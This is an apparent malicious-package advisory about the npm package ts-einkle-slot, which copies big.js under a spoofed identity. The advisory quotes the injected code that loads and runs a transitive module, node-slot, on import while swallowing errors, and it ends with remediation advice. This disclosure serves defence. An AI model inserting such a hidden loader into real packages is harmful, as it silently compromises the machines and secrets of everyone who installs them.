MAL-2026-6525 Malicious code in ts-einkle-slot (npm)

Package is published as ts-einkle-slot but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate big.js package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (big.js and big.mjs, referenced from main/module/exports) contain an injected top-level block: try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}. This causes the transitive dependency node-slot (pulled in via the declared ts-einkle dependency) to be loaded and its from_str() invoked the moment any consumer requires or imports this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated node-slot runtime module on import. Installer harm is delivered by the attacker-controlled transitive node-slot, which is pulled into the install tree solely by virtue of installing this package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.